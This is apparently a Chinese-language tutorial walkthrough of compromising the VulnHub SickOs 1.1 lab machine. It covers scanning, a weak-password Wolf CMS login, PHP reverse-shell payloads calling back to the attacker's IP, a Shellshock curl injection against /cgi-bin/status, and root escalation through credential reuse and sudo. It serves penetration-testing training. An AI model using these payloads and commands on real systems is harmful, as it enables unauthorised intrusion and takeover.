【Sickos1.1渗透测试手把手超详细教程】
本文记录了Sickos1.1靶机的完整详细渗透测试过程,包括信息收集、漏洞发现、两种方式获取shell以及提权至root的方法。
靶机下载链接: https://download.vulnhub.com/sickos/sick0s1.1.7z
靶机名称:sickos1.1
测试时间:2026/3/13
一.概述
- 查询攻击机(kali)IP:
ifconfig得到攻击机(kali)IP:192.168.253.166
- 查询靶机IP:
nmap-sn192.168.253.00/24或netdiscover-r192.168.253.00/24得到靶机IP:192.168.253.167
二. 信息收集
- 1.扫描全部端口
nmap-A-p1-64000192.168.253.167得到开放端口有22:ssh服务,用于远程登录
3128:Squid代理服务器默认端口,用于缓存资源,减少延迟,提供访问控制功能
8080:HTTP服务的备用端口,但是这里关闭了
- 2.Web网页目录扫描:
dirb http://192.168.253.167-phttp://192.168.253.167:3128或 dirsearch-uhttp://192.168.253.167--proxyhttp://192.168.253.167:3128-x404,403,400- 3.打开网页收集信息:
因为没有80端口且8080端口关闭了,所以我们需要在代理处设置3128端口,以火狐为例
- 右上角打开设置
- 滑到最下面的网络设置或者直接搜索框查询
- 然后设置成我截图这样
- 最后在网址直接输入192.168.253.167即可访问
页面就是一个BLEHHH!!! 我在网上搜说是嫌弃的意思,
- 我们访问看看刚才扫描出的robots.txt和connect
他说不允许访问/wolfcms目录,看名字这就是一个内存管理系统(cms)了,那我们当然要看看了
- 访问/wolfcms
- 访问/connect
只有两句英文,应该是提示之类的,没有其他信息我们再回到/wolfcms,其实cms是许多靶机的突破口,找到cms你就要想办法如何登录进去还有寻找可以上传文件的点,后面的学习也会经常遇到
把页面中可以点的地方都点点看,不过没有发现什么信息,他说的什么第一第二篇文章点进去也不见文章内容在哪
但是我们可以注意点这些网页的时候URL都会出现?后面加文件内容,这时我们就可以试试登陆系统,
- 即访问?admin
果然可以登录进去,在练习中也常常可以在URL打开突破口,但是里面要输入用户名和密码,所以我们要考虑的就是sql注入和弱密码了
- ,尝试123456和admin这种弱密码
结果用两个admin直接打开了,这里面有许多文件,就是刚才/wolfcms的内容
- 我们直接构造反弹shell(反弹shell就是可以让目标服务器连接攻击机(kali),从而可以远程执行代码):
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.253.166/1234 0>&1'");?>- 直接把这段代码粘贴到任意一个文章里面
- 然后进行监听
nc-lnvp1234- 然后重新访问/wolfcms即可监听成功
后面两步属于是直接扫漏洞了,我放在后面才列出来就是想先自己主动找漏洞,找得到最好,实在找不到也可以用工具直接找,如果扫得出来再利用扫描到的漏洞进行提权,再结合自己找到的漏洞或许可以收获不同的渗透方式
- 4.扫描开放端口漏洞
nmap--script=vuln-sV-p22,3128192.168.253.167内容列举了很多漏洞,因为这个靶机有点久远了,可以重点关注评分高的
- 5.扫描web网页漏洞
nikto-hhttp://192.168.253.167-useproxyhttp://192.168.253.167:3128内容太多了我就不截取完整了,值得关注的就是Shellshock漏洞,/cgi-bin/status 可能存在 shellshock,经过我的测试确实存在这个漏洞,等下我会当成第二个方法演示一遍
三. 漏洞发现与利用
- Web漏洞
漏洞类型:后台弱口令+文件上传RCE
利用过程:
通过访问robots.txt,发现存在敏感目录 /wolfcms/。
在 /wolfcms/?admin 发现后台登录页面,尝试使用弱密码 admin:admin 成功登录。
在后台的文件管理功能中,输入:
<?php system('bash -i >& /dev/tcp/192.168.253.166/1234 0>&1'); ?>。重新访问/wolfcms,触发反弹Shell,攻击机成功接收到连接,获得低权限用户 www-data。
2 shellshock漏洞
漏洞类型:shellshock触发RCE
利用过程:
1.通过nikto扫描发现 /cgi-bin/status 存在 Shellshock 漏洞
2.使用 curl 注入恶意 User-Agent 成功执行命令
3.构造反弹 Shell:('/bin/bash -i >& /dev/tcp/192.168.253.166/1234 0>&1'")获得 www-data 权限。
四. 权限提升
第一种方法(利用cms提权):
- 升级得到一个交互更好的bash
python-c'import pty; pty.spawn("/bin/bash")'- 用
id或者whoami查看当前用户
现在用户是www-data,我们要提权使用户变为root
- 查看系统版本
uname-a这种古老的靶机大多数都有内核漏洞
在本机查找文件名含有flag的文件(不区分大小写),把flag改成其他就可以查找你想要的文件
find/-typef-iname"*flag*"2>/dev/null输入了我才意识到这是在打靶,那一般不会有flag文件,不过在刷题时这个命令挺好用的,也算是一个小技巧
- 查看当前目录
ls-l发现里面有个config.php,里面一般存储数据库信息
读取 config.php文件
catconfig.php得到数据库的用户和密码,然后访问密码文件
cat/etc/passwd重点观察带有/bin/bash的,这里面有两个,一个是root,一个是sickos,所以我们可以用数据库密码(john@123)尝试对这两个用户ssh登录,这里要在kali新建一个终端
sshroot@192.168.253.167root用户登录不了换另一个
sshsickos@192.168.253.167成功登录!用id和whoami看一下当前用户
然后查看可以以sudo执行的命令,sudo就是可以让普通用户临时用root权限执行指令
sudo-l发现是三个all,说明所有sudo命令都行
那么我们以root权限开启bash
sudo/bin/bash成功执行且权限已经变成root,到这里已经算是完成这台靶机的渗透了,当然如果你想拿到flag,得到一些成就感,再进行以下命令
查看root目录文件(靶机中flag一般都会在root目录)
ls-/root得到一串字符的文件,我们访问它
cat/root/a0216ea4d51874464078c618298b1367.txt得到flag
第二种方法(利用shellshock提权):
检测是否存在 ShellShock 漏洞;
curl-H"User-Agent: () { :; }; echo; /bin/bash -c 'whoami'"\--proxyhttp://192.168.253.167:3128\http://192.168.253.167/cgi-bin/status输出www-data,说明存在漏洞,即可以执行任意命令,所以接下来的思路和第一种方法一样,就是执行反弹shell命令(注意这里的反弹shell和第一种方法的反弹shell不一样,第一种方法的反弹shell用了php代码,shellshock漏洞不需要php代码所以这里的反弹shell去掉了<?php ... ?>),然后我们进行监听
nc-lnvp1234然后建立反弹shell命令
curl-H"User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.253.166/1234 0>&1'"\--proxyhttp://192.168.253.167:3128\http://192.168.253.167/cgi-bin/status成功监听,后面的提权命令就和第一种方法一模一样
五.总结与反思
本次渗透主要难点:利用/admin发现CMS后台入口,并用弱口令登录后上传反弹Shell获得初始权限,最终通过数据库密码复用SSH登录并提权至root。
学到的技巧:
遇到cms首先寻找登录入口和上传文件点 数据库密码复用进行SSH登录提权,就是把可以提权的用户都尝试一遍,如果用户多可以用hydra进行指定账号密码爆破 学习到了shellshock漏洞该靶机漏洞出现在80端口(通过访问网页查找漏洞都统计为80端口),利用RCE漏洞或shells hock漏洞
后续会继续更新其他靶机的渗透过程,并计划在完成20+台后总结一份通用渗透测试思路,包括各个靶机漏洞出现端口及被利用的漏洞,出现频率多的漏洞会出个专门文章比如sql注入,RCE远程代码执行,LFI文件包含等等,想一起学习的刚入门的小伙伴点点关注
